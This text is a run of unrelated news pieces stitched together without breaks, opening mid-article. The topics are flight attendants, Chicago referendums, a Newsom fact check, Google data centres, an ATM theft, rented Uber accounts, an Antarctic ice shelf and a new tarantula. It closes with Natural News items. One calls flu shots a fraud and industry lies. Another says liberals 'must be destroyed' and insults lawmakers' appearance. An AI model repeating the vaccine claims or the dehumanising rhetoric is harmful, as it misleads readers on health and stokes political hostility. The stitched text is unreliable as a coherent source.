"Having the earbuds or noise cancelling headphones in when were trying to address a passenger," Susannah Carr said. "Youll see us talking to you. Weve made eye contact. Well say multiple times, 'can we get you something to drink?' Itll take until the third time before they take the headset out or the earbuds out and theyll say, 'what did you say?'"

Four Chicago-based flight attendants talked to NBC 5 about secrets of their trade. Here they discuss how they get couples getting a bit too intimate in-flight to knock it off.

#3 How they deal with inappropriate behavior by passengers

Another annoying passenger habit is when fliers forget where they are  an aircraft.

"Recently, I had a couple come on board, and it was definitely not as full a flight as it usually is," said Elena Sabat. "We noticed they were getting hot and heavy and more intimate. I walked by and had fellow flight attendants walk by."

Sabat said the lights on the aircraft were dim.

"I thought this cant happen, so I turned on the lights, almost to full bright just to say you need to stop that," Sabat said. "We werent trying to embarrass them, but we were trying to make sure that wasnt occurring because it goes to safety. If theres a child near you seeing that, thats obviously not something a child should be exposed to."

Sometimes, passengers become inappropriate with the flight attendants.

"Im respectful but blunt," said Watt. "Thanks, but no thanks."

They said some customers will often get handsy, beyond whats needed to get a flight attendants attention. Often, passengers will try to ask for dates.

"Ill say, 'No, Im sorry. I have plans with my crew after this. I cant go out with you,'" Sabat said. "'Or I dont feel comfortable doing that, but have a great day!'"

#4 Strangest furry passenger on board

Airlines recently cracked down on what constitutes an "emotional support animal," after reports showed some passengers were obtaining false credentials to bring a pet onboard.

"I have seen a miniature horse!" said Watt.

Flight attendants said legitimate emotional support animals are welcomed and encouraged for passengers with psychological disabilities.

"We love our pets, but they should not be free roaming the cabin," said Carr. "Theyre not comfortable. And as a result, bad things can happen. It can snap at a passenger or at us."

#5 The fear of going viral

Nowadays, nearly all passengers have cameras in their hands, and that has led to viral videos of confrontations between passengers and between passengers and crew members.

The flight attendants said the increased stress associated with flying  longer lines, fuller flights  has added to the tension.

"Its concerning because if something were to happen on board the aircraft, its always on the back of your mind. 'Are you going to go viral in a misrepresented way?'" Levy said.

They said having phones and cameras also make it difficult for flight attendants to de-escalate a situation if a confrontation arises.

"Weve been fighting on Capitol Hill to keep cell phone calls off planes. This is for security. This is a very close environment, and if youve got someone talking loudly on the phone for FaceTiming, its very intrusive to passengers around you," Carr said.

Why were flight attendants vocal during the recent government shutdown, even though none are federal employees? In a word, safety.

#6 Service is only part of their job

Yes, flight attendants are there to take your drink order and collect garbage, but that only scratches the surface of their job duties.

"Were primarily there for the safety of each individual," said Watt.

Depending on the airline, flight attendants receive annual training for weeks at a time on everything from how to put out a fire, handle a security breach, address a medical emergency, etc.

"If I see youre blue in the face and youre not as responsive but still there, we are trained to identify that and know what to do medically, Sabat said.

They also often play the role of therapist or listener.

"Some people are traveling for weddings. Some are sadly traveling for funerals. We have military members who are being deployed," Carr said. "If we see someone distressed or someone who comes back to talk, we take the time to hear their stories and offer support."

#7 Should you tip?

While some passengers might want to express their gratitude for the free upgrade or extra beverage, tipping is a no-no.

"We dont encourage tipping. That devalues us. You dont tip your doctor or EMT. We are safety professionals. We are there for safety," said Carr.

#8 Heels are still mandatory for female flight attendants

Gone are the days of the "Age of Glamour" where flight attendants had a long list of requirements: age, weight, female, unmarried. Not to mention the uniforms that often left little to the imagination.

But flight attendants are still required to wear at least a half-inch heel.

The flight attendants said the reason is to maintain a level of professionalism in their attire, though they admit many will bring a change of shoes to travel through airports and terminals.

#9 Best part of the job

Flying comes with perks. All the flight attendants said their jobs allowed them to travel to places they never thought possible  while getting paid to do it!

"Ive been to Rome, Paris, Australia. Ive climbed the Great Wall of China. Ive been to Hawaii more times than I can count, and these are things people only dream of," Levy said.

The unpredictability of travel also keeps them on their toes.

"You might be called out to fly to Honolulu and then get to the airport and they say, 'Oh, sorry. Your flight is cancelled and now were sending you to Seattle,'" Levy said.

Flight attendants always come packed and prepared for every climate and for extra days.

Flight attendants say the winter months can be especially harsh for travel, especially in Chicago and the Midwest, with frequent delays and cancellations.

#10 Remember: if youre delayed, theyre delayed too

Flight attendants say the winter months can be especially harsh for travel, especially in Chicago and the Midwest, with frequent delays and cancellations.

They remind passengers that the frustration that comes with delays affects them too.

"Sometimes, they dont realize that were just as exhausted as they are. When were coming aboard the aircraft, yes weve been through TSA, yes we were up early too," Sabat said.

So please pack your patience.Depending on what neighborhood you live in, your ballot for the Feb. 26 election could ask you about your opinion on topics like rent control and what the city should do with tax revenue from recreational marijuana if it is legalized.

The questions are designed to gauge public opinion on policy issues and do not have any legal force. But they are still a useful tool for elected officials to see how their constituents feel about relevant issues on a hyper-local scale.

Anyone can get a referendum on the ballot in their precinct if they get a petition signed by a number of registered voters equal to 8 percent of the votes cast for governor in any precinct or any ward.

Here are the questions which will be asked on Feb. 26 in each ward:

 In the event that the recreational use and sale of marijuana is legalized in the State of Illinois, should the City of Chicago appropriate tax or other revenues it receives from the sales of marijuana to fund neighborhood reinvestment in low-income disenfranchised communities hit hard by the war on drugs?

6th Ward

5th Precinct

23rd Precinct

26th Precinct

16th Ward

33rd Precinct

17th Ward  all precincts

24th Ward

5th Precinct

20th Precinct

30th Precinct

28th Ward  all precincts

29th Ward

2nd Precinct

3rd Precinct

16th Precinct

26th Precinct

28th Precinct

 Should the state of Illinois lift its ban on rent control?

1st Ward

1st Precinct

17th Precinct

20th Precinct

24th Precinct

26th Precinct

30th Precinct

26th Ward

2nd Precinct

6th Precinct

8th Precinct

9th Precinct

12th Precinct

24th Precinct

40th Precinct

45th Ward

11th Precinct

15th Precinct

17th Precinct

50th Ward

8th Precinct

13th Precinct

 Should our alderman support a Community Benefits Agreement (CBA) ordinance to prevent the displacement of residents from the area surrounding the Obama Center by having: 1) 30 percent set-aside of affordable housing; 2) Property tax freeze; 3) Funding for local jobs and affordable housing?

5th Ward

5th Precinct

20th Ward

1st Precinct

22nd Precinct

23rd Precinct

 Should our alderman support a Community Benefits Agreement (CBA) ordinance to prevent the displacement of residents from the area surrounding the El Paseo Trail by having: 1) 30 percent set-aside of affordable housing; 2) Property tax freeze; 3) Funding for local jobs and affordable housing?

12th Ward

15th Precinct

18th Precinct

22nd Ward

15th Precinct

25th Ward

12th Precinct

13th PrecinctCalifornia Gov. Gavin Newsom devoted part of his first State of the State address to attacking President Donald Trump's positions on illegal immigration, declaring, "This border emergency is nothing more than a manufactured crisis and California will not be part of this political theater."

His rhetoric in Tuesday's speech was similar to that of his Democratic predecessor, Gov. Jerry Brown. His nascent record suggests that he wants even greater distance from Trump on one of the president's signature issues.

In his first budget proposal, Newsom earmarked $25 million to groups that address what he calls "a humanitarian crisis at the state's border with Mexico," including $5 million to be made available this year. There has been a sharp increase in Central American asylum-seeking families arriving in San Diego who are quickly released by immigration authorities with a notice to appear in court.

On Monday, the Democratic leader ordered the withdrawal of most of the state's National Guard troops assigned to Trump's mission on the Mexican border.

Here's a look at the veracity of some of Newsom's claims in his State of the State speech:

NEWSOM: "We are currently experiencing the lowest number of (illegal) border crossings since 1971. In California, like our nation, our undocumented population is at the lowest level in more than a decade  some 550,000 fewer in our state alone."

THE FACTS: He's wrong about the current low in illegal crossings, based on Border Patrol arrests, the most widely used gauge. While arrests along the Mexican border fell to 303,916 in the 2017 budget year, the lowest since 1971, they jumped 31 percent last year to 396,579. This is still relatively low in historical terms.

Arrests are up even more sharply on the Mexican border in the 2019 budget year, nearly doubling from October through January to 201,497 from 109,543 the same period a year earlier.

Border Patrol arrests in the San Diego sector, which covers California's western part of the Mexican border, fell to a 49-year low in 2017 but jumped 48 percent last year. Arrests during the first four months of the 2019 budget year soared 69 percent from the same period a year earlier.

Arrests in the El Centro sector, which covers the eastern part of the state's border, plunged to a 45-year low in 2015 but more than doubled over the next three years. Arrests during the first four months of the 2019 budget year are up 37 percent from the same period a year earlier.

The governor's statement about people living in the country illegally  both nationwide and in California  is correct, according to the Pew Research Center. The nationwide number fell to 10.7 million in 2016 from 12.2 million in 2007; California's dropped to 2.2 million from more than 2.7 million during the same time.Google's massive footprint is only getting bigger in 2019.

CEO Sundar Pichai said in a blog post on Wednesday that the company is building new data centers and offices and expanding several key locations across the U.S., spending $13 billion this year.

Pichai outlined the plans, which include opening new data centers in Nevada, Ohio, Texas and Nebraska, the first time the company will have infrastructure locations in those states. The company is also doubling its workforce in Virginia, providing greater access to Washington, D.C., with a new office and more data center space, and expanding its New York campus at Hudson Square.

Google is showing its willingness to further open its wallet, following a year in which capital spending more than doubled to $25.46 billion. Far from its roots as an online advertising giant, Google is building out data centers to bolster its cloud-computing division as it tries to keep pace with Amazon Web Services and Microsoft. It's a business that requires providing fast and reliable computing access and resources to large corporations and government agencies.

Data centers also serve Google's core search, Gmail and YouTube products.

The company didn't say home much each location will cost or provide information on tax incentives from local communities. Ruth Porat, finance chief of Google parent Alphabet, said on the company's earnings call earlier this month that she expects the "capex growth rate in 2019 to moderate quite significantly."

Pichai said the plans will likely create tens of thousands of construction jobs across Nebraska, Nevada, Ohio, Texas and Virginia, as well as Oklahoma and South Carolina, where the company is expanding existing data centers. Google didn't say how many new jobs the data centers and business offices would create.

Pichai also said that the company is adding new office buildings in Texas and Massachusetts, building out more space in Illinois, Wisconsin, Washington state and Georgia and redeveloping California locations near Los Angeles and in the Bay Area, including the Westside Pavillion and Spruce Goose Hangar.

Last week, the Austin-American Statesmen reported the company planned one new office tower in Austin, Texas, to add approximately 5,000 workers. In late 2018, the company announced it's $1 billion investment for a new campus in New York City, which it said will double the workforce there from 7,000 at the time.

CNBC's Jordan Novet contributed to this report.

This story first appeared on CNBC.com. Get more from CNBC:Police in Berkeley are searching for three suspects who stole a cash machine from a gas station Tuesday morning, according to the police department.

The theft occurred at about 6:35 a.m. at a Mobil station in the 900 block of University Avenue, police said. The three suspects removed the ATM that was mounted on an exterior wall and put it into an SUV before fleeing.

The suspect vehicle, a gray 2002 Chevrolet Tahoe, was later determined to be stolen out of Albany, police said.

The suspects were last seen going south on Eighth Street from University Avenue. Numerous officers responded to the area but were unable to locate the suspects or the vehicle, police said.

The Tahoe, with California license plate 4XFS557, was stolen from Solano Avenue at San Carlos Street in Albany, police said.

The investigation is ongoing.Ubers security and fraud analysts are working with law enforcement to investigate a scheme exposed by the NBC Bay Area Investigative Unit that could allow criminals and unlicensed drivers to circumvent the companys background checks and cruise for passengers.

In September, NBC Bay Area rented a Lyft account from an underground online chat group where brokers advertise rideshare accounts that allow drivers to mask their true identities using stolen information.

 Rideshare Rental Accounts

Now NBC Bay Area has learned about a similar scheme involving Uber drivers. The Investigative Unit went undercover and rented two Uber accounts from online dealers with no questions asked. The first account was created from scratch using the personal information of someone named Benjamin. The second account was created 27 days prior and already logged 233 trips across the Bay Area. NBC Bay Area did not drive and only used the accounts for informational purposes to learn how the process works.

FAKE DRIVER CRACKDOWN

Rented rideshare accounts can be nearly impossible for passengers to distinguish from legitimate drivers. As NBC Bay Area exposed last year, account dealers mislead riders by ensuring that the profile picture and vehicle license plate of the driver match what passengers see on their app. While those changes can trick riders into getting into a car, NBC Bay Area has learned that theres a way for regulators to identify scammers  if they know what to look for.

At Los Angeles International Airport (LAX), officers catch violators using accounts registered to other people by matching the drivers license with the waybill on the rideshare app. Both Uber and Lyft driver apps have a waybill screen, which gives law enforcement the name of the account holder and a summary of the last trip. When someone is using a borrowed or rented account, those names wont match.

"You want to make sure you are getting in the vehicle with someone who has had a background check and they are safe," LAX police Officer Rob Pedregon told NBC Bay Area. "There are people who are out to do harm."

Pedregon believes airport police know how to catch violators because they encounter hundreds of rideshare drivers every day. NBC Bay Area reviewed citations written by officers at LAX and Bay Area airports and found case after case of drivers using accounts registered under a different name. Some of the violators didnt even have a valid drivers license.

But not all law enforcement officials are as focused on rideshare rules as airport police, according to Pedregon.

"I would say the majority of municipal officers dont know what to look for," Pedregon said. "If you dont do it enough, if you dont recognize the type of material that youre looking for, youre not going to know."

RIDESHARE DRIVER PRIVACY RIGHTS

Most of the trips listed on the Uber account NBC Bay Area rented occurred in San Francisco. NBC Bay Area asked the San Francisco Police Department whether it tracks the number of encounters officers have had with drivers using other peoples accounts. A spokesperson said SFPD does not have the authority to inspect waybills to catch fake drivers.

In San Mateo, Officer Michael Haobsh has watched his department investigate several serious crimes involving rideshare drivers, but said his officers could be in violation of the Fourth Amendment if they attempt to search through a rideshare drivers app outside of airports where rideshares are more heavily regulated.

"When we conduct our traffic stops, we try to be as least obtrusive as possible," Haobsh said.

Instead, its up to companies to police their drivers.

UNDER INVESTIGATION

After NBC Bay Area notified Uber about the two accounts it rented, the company tracked down the seller and linked him to even more profiles, one of which the company deactivated. Uber referred the accounts to law enforcement officials, who are now investigating potential fraud.

"Participating in fraud is illegal, which can lead to deactivation of your Uber account and serious legal action for both the account owner and the person attempting to buy access," an Uber spokesperson wrote in a statement. "Additionally, adding your personal information to an account owned by someone else could put you at risk for identity theft. As with any scam, if it seems too good to be true, it probably is."

The company also told NBC Bay Area that its security tools should prevent anyone who rents an Uber profile from actually driving, but its looking into just how many people may have taken a ride in one of these forged accounts.If reawakening the Daley dynasty gives you pause, fair enough. It gives us pause, too. Richard I and Richard II served as mayor for more than two decades apiece. Find us a Chicagoan who doesnt have strong opinions about those men and their reigns. In talking with voters weve heard everything from anger to admiration to jealousy. We arent nostalgic for old days and old ways. None of us is searching for those mayors, and in 2019, neither of them is on the ballot. Instead all of us are seeking the best mayor for the next four years. That process would be less freighted with controversial history if Bill Daleys name were Bill Doe.The filling and draining of meltwater lakes have been found to cause a floating Antarctic ice shelf to flex, potentially threatening its stability.

A team of British and American researchers, co-led by the University of Cambridge, has measured how much the McMurdo ice shelf in Antarctica flexes in response to the filling and draining of meltwater lakes on its surface. This type of flexing had been hypothesised before and simulated by computer models, but this is the first time the phenomenon has been measured in the field. The results are reported in the journal Nature Communications.

The results demonstrate a link between surface melting and the weakening of Antarctic ice shelves and support the idea that recent ice shelf breakup around the Antarctic Peninsula may have been triggered, at least in part, by large amounts of surface meltwater produced in response to atmospheric warming.

As the climate continues to warm, more and more ice shelves may become susceptible to flex, fracture and break up over the coming century.

Most of the Antarctic continent is covered by the Antarctic Ice Sheet, which is up to four kilometres thick and contains enough ice to raise global sea levels by about 58 metres. Over most of the continent and for most of the year, air temperatures are well below zero and the ice surface remains frozen. But around 75% of the ice sheet is fringed by floating ice shelves, which are up to a kilometre thick, mostly below sea level, but with tens of metres of their total height protruding above the water. In the summer months, when air temperatures rise above freezing, the surfaces of these ice shelves are susceptible to melting.

"Surface water on ice shelves has been known about for a long time," said co-author Dr Ian Willis from Cambridge's Scott Polar Research Institute. "Over 100 years ago, members of both Shackleton's Nimrod team and the Northern Party team of Scott's British Antarctic Expedition mapped and recorded water on the Nansen Ice Shelf, around 300 kilometres from where we did our study on the McMurdo Ice Shelf. For the last few decades, it has also been possible to see widespread surface meltwater forming on many ice shelves each summer from satellite imagery."

What is not fully known is the extent to which surface water might destabilise an ice shelf, especially in warmer summers when more meltwater is produced. If the slope of the ice shelf is sufficiently steep, the water may flow off the ice shelf to the ocean in large surface rivers, mitigating against any potential instability.

The danger comes if water pools up in surface depressions on the ice shelf to form large lakes. The extra weight of the water will push down on the floating ice, causing it to sink a bit further into the sea. Around the edge of the lake, the ice will flex upwards to compensate. "If the lake then drains, the ice shelf will now flex back, rising up where the lake used to be, sinking down around the edge," said lead author Dr Alison Banwell, also from SPRI. "It is this filling and draining of lakes that causes the ice shelf to flex, and if the stresses are large enough, fractures might also develop."

Banwell and co-author Professor Doug MacAyeal from the University of Chicago had previously suggested that the filling and draining of hundreds of lakes might have led to the catastrophic breakup of the Larsen B Ice Shelf 2002 when 3,250 square kilometres of ice was lost in just a few days.

"We had been able to model the rapid disintegration of that ice shelf via our meltwater loading-induced fracture mechanism," said Banwell. "However, the problem was that no one had actually measured ice shelf flex and fracture in the field, and so we were unable to fully constrain the parameters in our model. That's partly why we set out to try to measure the process on the McMurdo ice shelf."

Using helicopters, snow machines and their own two feet, the researchers set up a series of pressure sensors to monitor the rise and fall of water levels in depressions which filled to become lakes, and GPS receivers to measure small vertical movements of the ice shelf.

"It was a lot of work to obtain the data, but they reveal a fascinating story," said MacAyeal. "Most of the GPS signal is due to the ocean tides, which move the floating ice shelf up and down by several metres twice a day. But when we removed this tidal signal we found some GPS receivers moved down, then up by around one metre over a few weeks whereas others, just a few hundred metres away, hardly moved at all. The ones that moved down then up the most were situated where lakes were filling and draining, and there was relatively little movement away from the lakes. It is this differential vertical motion that shows the ice shelf is flexing. We'd anticipated this result, but it was very nice when we found it."

The team hope that their work will inspire others to look for evidence of flex and fracture on other ice shelves around Antarctica. Their work will also help in developing ice sheet scale models that could be used to predict the stability of ice shelves in the future and to understand the controls on ice shelf size since they act as buffers against fast-moving ice from the continent. As ice shelves shrink, glaciers and ice streams behind them flow more rapidly to the ocean, contributing to global sea level rise.A new to science species of tarantula with a peculiar horn-like protuberance sticking out of its back was recently identified from Angola, a largely underexplored country located at the intersection of several Afrotropical ecoregions.

Collected as part of the National Geographic Okavango Wilderness Project, which aims to uncover the undersampled biodiversity in the entire Okavango catchment of Angola, Namibia and Botswana, thereby paving the way for sustainable conservation in the area, the new arachnid is described in a paper published in the open-access journal African Invertebrates by the team of Drs John Midgley and Ian Engelbrecht.

Although the new spider (Ceratogyrus attonitifer sp.n.) belongs to a group known as horned baboon spiders, the peculiar protuberance is not present in all of these species. Moreover, in the other species - where it is - the structure is completely sclerotised, whereas the Angolan specimens demonstrate a soft and characteristically longer 'horn'. The function of the curious structure remains unknown.

The new tarantula's extraordinary morphology has also prompted its species name: C. attonitifer, which is derived from the Latin root attonit- ("astonishment" or "fascination"), and the suffix -fer ("bearer of" or "carrier"). It refers to the astonishment of the authors upon the discovery of the remarkable species.

"No other spider in the world possesses a similar foveal protuberance," comment the authors of the paper.

During a series of surveys between 2015 and 2016, the researchers collected several female specimens from the miombo forests of central Angola. To find them, the team would normally spend the day locating burrows, often hidden among grass tufts, but sometimes found in open sand, and excavate specimens during the night. Interestingly, whenever the researchers placed an object in the burrow, the spiders were quick and eager to attack it.

The indigenous people in the region provided additional information about the biology and lifestyle of the baboon spider. While undescribed and unknown to the experts until very recently, the arachnid has long been going by the name "chandachuly" among the local tribes. Thanks to their reports, information about the animal's behaviour could also be noted. The tarantula tends to prey on insects and the females can be seen enlarging already existing burrows rather than digging their own. Also, the venom of the newly described species is said to not be dangerous to humans, even though there have been some fatalities caused by infected bites gone untreated due to poor medical access.

In conclusion, the researchers note that the discovery of the novel baboon spider from Angola does not only extend substantially the known distributional range of the genus, but can also serve as further evidence of the hugely unreported endemic fauna of the country:

"The general paucity of biodiversity data for Angola is clearly illustrated by this example with theraphosid spiders, highlighting the importance of collecting specimens in biodiversity frontiers."

Apart from the described species, the survey produced specimens of two other potentially new to science species and range expansions for other genera. However, the available material is so far insufficient to formally diagnose and describe them.(Natural News) Shocking new survey data shows that a growing number of parents are waking up to the vaccine industrys lies  at least when it comes to flu shots. While vaccine skepticism is largely maligned by the mainstream media, the truth is that a substantial number of professionals are turning their backs on Big Pharma. Anti-vax nurses are coming out of the woodwork to tell their stories, and many top scientists are now refusing to vaccinate their own children.

It is no wonder that a growing number of Americans are realizing Big Pharma and the government elite do not have the publics best interests in mind. And as polling data from Orlando Health Arnold Palmer Hospital for Children shows, many Americans are now realizing just that.

Flu shot skepticism on the rise

The mainstream medical community has been working tirelessly with the establishment media and the pharmaceutical industry to push the narrative that all vaccines are safe and that the flu shot is necessary for good health. But despite their best efforts, national polling data shows that nearly half of American parents believe the flu shot can make their kids sick.

As researchers from Orlando Health report, a growing number of people are questioning the safety and efficacy of flu vaccines. Some 50 percent believe the flu shot may make their child sick, and another third of parents believed the flu shot simply didnt work.

Twenty-eight percent of parents also stated that the flu shot might be a cause of autism.

Dr. Jean Moorjani, a pediatrician at the Arnold Palmer Hospital for Children, was quick to refute any and all vaccine skepticism in a recently published press release on the studys findings. After years of research, we know that the flu vaccine is safe, said Dr. Moorjani.

The flu shot does not cause autism or any other diseases or illnesses. Doctors recommend the flu shot because it is the best way to protect you and your family from the flu.

In December 2018, a grown man was hospitalized after a routine flu vaccination left him completely paralyzed and unable to breathe independently. He was ultimately diagnosed with Guillian-Barre Syndrome, a known side effect of vaccination. Its an autoimmune condition characterized by the immune systems destruction of nerves, resulting in weakness or paralysis.

There are thousands of vaccine-related adverse events reported every year following vaccination, and estimates suggest that only 10 percent of vaccine reactions actually get reported.

The flu shot fraud

Despite strict adherence to the pro-vaccine narrative, the truth about vaccines cant be ignored forever. As the polling data shows, people have questions  and they arent going to be satisfied with platitudes. There is no shortage of propagandists chastising the public for daring to question the validity of industry-funded vaccine science. The take-home message from vaccine propagandists is simple: Dont question our authority, dont question the authority of the unelected bureaucrats who run government health agencies, and certainly dont question the health experts who create and push vaccines on the public.

You arent allowed to because you arent an expert  and only people who support the pro-vaccine agenda are allowed to be called experts. Gatekeeping is major problem in science today, whether youre talking about vaccines, pesticides, climate change or GMOs. Whether its realized or not, corporate influence has overtaken the scientific community across the board.

If average people are too stupid to be allowed to question vaccine science, they certainly arent capable of consciously consenting to vaccination. Big Pharma and their puppets cant have it both ways.

See more coverage of the latest vaccine truth at Vaccines.news.

Sources for this article include:

StudyFinds.org

OHAP.Multimedia-Newsroom.com

NVIC.org(Natural News) The war for independence from Great Britain won, our founders set about debating and deciding upon what form of government they should adopt for the newly formed United States.

They decided upon divided government in the form of a representative republic, not a democracy where majorities ruled and minorities received no consideration or voice. In fact, as founder and future president James Madison, considered the father of the Constitution, once wrote in the Federalist Papers No. 10, democracies have ever been spectacles of turbulence and contention and have ever been found incompatible with personal security or the rights of property.

Other observers have noted throughout our history that democracies amount to mob rule, which is the same as two wolves and a lamb voting on what to eat for lunch, noted San Diego resident Marvin Simkin in 1992. Freedom comes from the recognition of certain rights which may not be taken, not even by a 99% vote.

With that in mind, a new initiative in Florida would seek, by mob rule, to deny  infringe upon  the constitutional right of residents to keep and bear firearms.

As reported by The Truth About Guns website, a push to ban so-called assault weapons in the Sunshine State from civilians (not law enforcement or the military) via ballot measure is gaining ground as lawmakers from both political parties are embracing it. The ballot initiative calls for changing the states constitution allowing for the prohibition of certain otherwise lawful firearms and is being spearheaded by Ban Assault Weapons Now (BAWN), a bipartisan group of gun grabbers made up of Republican and Democrat authoritarians who want to see law-abiding Floridians disarmed, the website noted.

Now their effort is gaining political ground and financial support, the site added.

Al Hoffman, a major GOP donor, has recently lent financial support. Following the Marjory Stoneman Douglas High School shootings in Parkland  in which authorities and school officials missed numerous warning signs  Hoffman said he would no longer support any Republican candidate who did not back more gun control.

Some GOP lawmakers who ordinarily wouldnt have gone along gun control such measures went with Hoffman, however, in exchange for his continued support and now hes putting financial support behind BAWNs push.

Mob rule depends on deception, lying, playing on emotions

Of course, former Marjory Stoneman Douglas student-turned-anti-gun activist David Hogg supports the effort, using disinformation to spread the message. (Related: Wait, what? Parkland shooting commission adopts the NRAs recommendation to arm teachers.)

As Americans and Floridians, we can come together to say that gun violence is not going to happen in the Sunshine State, Hogg said this week, according to the Sun-Sentinel newspaper.. Gun violence is a preventable issue.  The fact of the matter is if you are using an assault weapon  you are hunting someone. You are not defending yourself.

Adds activist Ann Marie Milano, Our bipartisan coalition is not trying to take anyones guns or Second Amendment rights. We are simply striving to keep the use of military grade assault weapons in the hands of the military and law enforcement, who are trained to use them.

Hogg is lying; the guns people call assault weapons are not simply for hunting someone.

Milano is lying; the fact that shes behind a statewide ballot measure to ban assault weapons is infringing upon, and taking away, Americans Second Amendment rights.

This is one of the reasons why the founders eschewed democracy: Because mobs can be persuaded to do something through the use of false information, playing on emotions, and peer pressure.

It is a blatant attempt to fool Floridians by sucking them into a deception that would effectively ban most hunting, target shooting, and significant home defense as well, notes Marion Hammer, a Florida lobbyist for the NRA.

If this amendment passes, it should be challenged not simply on grounds that it violates the Second Amendments infringement clause. It should be challenged on the grounds that it violates Article IV of the Constitution, which says, The United States shall guarantee to every state  a republican form of government

Ballot measures are the political tools of democracies, not republics.

Read more about the Lefts never-ending assault on gun rights at Guns.news.

Sources include:

TheTruthAboutGuns.com

Sun-Sentinel.com

NewsTarget.com(Natural News) The more skeptical among us had bad vibes when voters in Michigan and Minnesota elected, respectively, Democratic Reps. Rashida Tlaib, a Muslim woman of Palestinian descent, and Ilhan Omar, a Muslim woman of Somalian descent, to Congress.

Why? Given Democratic outrage over some of POTUS Donald Trumps first official acts in office  signing executive orders banning people from certain countries known to harbor active terrorist factions and known to be majority Muslim  we were certain that these two ladies would arrive in Washington with chips on their shoulders.

And boy, did they. On the day that the new Congress was sworn in last month, at a post-session party Tlaib was wild with joy and loose of tongue, proudly telling gathered guests and supporters that Democrats are going to impeach the motherf**ker, in reference to POTUS.

Heres hoping she doesnt kiss her son with that mouth. Beyond that, following reports Tuesday that special counsel Robert Mueller has come up short in finding Trump-Russia collusion and likely wont even issue a public statement or report, good luck with finding support for impeachment, Rep. Tlaib. (Related: BOOM: Mueller will NOT issue final report in POTUS Trump probe, says former Prez lawyer.)

The Michigan mouth isnt the only anti-Trump Muslim congresswoman with a penchant for dissing the president as well as Americas allies. Omar arrived in D.C. with her own intolerance and hate  for the president and Jews.

Shortly after taking office previous tweets Omar sent out that were not just critical of Israel but extremely unnerving surfaced, laying the groundwork for what was to come.

As The National Sentinel reported, Omar drew the ire even of Democratic leaders after she insinuated in tweets that other members of Congress supported Israel because Jewish lobbying organizations donated to their campaigns.

Its all about the Benjamins baby, she wrote in response to a tweet from liberal reporter Glenn Greenwald, who was complaining about Republican angst over criticism of the Jewish state by both Omar and Tlaib.

GOP Leader Kevin McCarthy threatens punishment for @IlhanMN and @RashidaTlaib over their criticisms of Israel. It's stunning how much time US political leaders spend defending a foreign nation even if it means attacking free speech rights of Americans https://t.co/It1fGm1b70  Glenn Greenwald (@ggreenwald) February 10, 2019

She should at least lose her assignment on the House Foreign Affairs Committee

Congresswoman Omars use of anti-Semitic tropes and prejudicial accusations about Israels supporters is deeply offensive, said Pelosi, Majority Leader Steny Hoyer, House Majority Whip Jim Clyburn and other party leaders in a statement, Politico reported. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments.

Omar eventually apologized for her bigoted tweet, but it was panned by POTUS Donald Trump who called it lame, adding that she ought to consider resigning from Congress.

One other thing I might want to say is that anti-Semitism has no place in the United States Congress, and Congressman Omar is terrible [for] what she said, the president said. And I think she should either resign from Congress or she should certainly resign from the House Foreign Affairs Committee. What she said is so deep-seated in her heart that her lame apology  and thats what it was, it was lame and she didnt mean a word of it  was just not appropriate.

Even a major newspaper from her home state was critical of what she said this week  and what shes said in the past  about our best ally in the Middle East (and the regions only true bastion of freedom).

The editorial board of the Minneapolis Star-Tribune, the states largest daily paper, wrote, Getting attention does not equal effective leadership. That is a reality that U.S. House Rep. Ilhan Omar urgently needs to grasp as she settles into her new role representing Minnesotas Fifth Congressional District.

The paper went on to call her apology grudging.

We call it hypocritical. For a Muslim immigrant who is among the first to cry bigotry! when she feels slighted over her faith to then target Jews over their faith is monumental speciousness.

At a minimum, she should be stripped of her committee assignments like Rep. Steve King (R-Iowa) after he uttered what many believed to be pro-White nationalism comments.

Read more about why Democrats like Omar and Tlaib are a great reason to VoteRepublican.news.

Sources include:

TheNationalSentinel.com

StarTribune.com

FreeBeacon.com(Natural News) There are no areas in which liberals, progressives, leftists, socialists, or whatever they want to call themselves this week, are working for the betterment of American citizens or to advance the cause of individual liberty. Their entire existence appears to be just the opposite. Thats why they must be destroyed.

(Article by Derek Hunter republished by TownHall.com)

Rush Limbaugh, if I remember correctly, used to talk about wanting to keep a few liberals around so future generations could see that they were once real. That was in the 90s, when they still had a grasp on reality. Seems quaint now.

Now its as if those liberals never existed. Nancy Pelosis city is overrun with feces and used hypodermic needles as illegal aliens flood her state. She doesnt see disaster, or even a problem, she sees what shed like to bring everywhere.

To that end, Democrats are moving to destroy the ideas that make up America; everything that makes the United States worth defending.

Its not just the so-called Green New Deal, the Marxist dream packaged as the answer to imaginary problems and pushed by the buck-toothed, bug-eyed Freshman Congresswoman from New York, its every concept theyre advocating.

A concept like eliminating cow farts and planes would have been treated like the joke it is just 5 years ago, now its gospel with millions of devotees. Monetary benefits for people unwilling to work wouldve gotten a politician run out of town, just as blatantly lying about it would have. Now a throne-sniffing media and presidential hopefuls treats its author like shes the giver of light and not the incompetent narcissist whos lucky breathing is a reflex because shed forget how to do it that it she is.

Democrats preach tolerance while celebrating the hatred of Israel. They award themselves the mantle of champions of women while one of their own is credibly accused of rape. They actively cheer legalizing infanticide, then deny the did it. They decry racism while backing off calls for the resignations of 2 statewide officials with a history of painting themselves in blackface.

Does anyone believe Ralph Northam was a dance contest champion for moonwalking with a little shoe polish on his cheeks? Does anyone believe Mark Herring was huge rap fan in 1980 while not living in New York City? Only the same people who believe Elizabeth Warren  a woman so white, her camouflage in a snow storm is nudity  lost family members on the Trail of Tears. Which is to say no one.

Everything Democrats are is a lie, everything the advocate for is cover for those lies. And everything they are pushing is the antithesis of what made this country the beacon of liberty for the world.

I dont know why they hate liberty, I dont know why they seek to make this country like those people flee to come here, I just know that they do. And I know they must be stopped.

But stopping them isnt an option; they cant be stopped. Theyre like the Terminator  they will not stop. They can only be vanquished, destroyed. And destroyed they must be.

Since there is unlikely to be an industrial sized hydraulic press in which to smash them, destroying them is going to take a little more work. They have to be exposed.

We can no longer count on the insanity of their words and actions to turn people off. The Green New Deal resolution read like an authoritarian kindergarteners letter to Santa Claus, yet it was greeted by adults who should know better as important and serious. Were too far removed from the horrors of communism in the Cold War for those lessons to resonate with voters, were too deep into an education system indoctrinating a generation into believing collectivism works and government is the only entity capable of delivering opportunity. Too many people believed elected leaders when they said the system was rigged against them, that theres no point in trying.

Young people expect government to protect them, to parent them, to provide. Theyve been conditioned to despise success; envy and entitlement have supplanted the American Spirit. Liberalism has gone from being a contrary philosophy to being an evil.

Its not enough to beat it an election or two, it must be thoroughly decimated. If it is not destroyed, it will win. If it wins, its over.

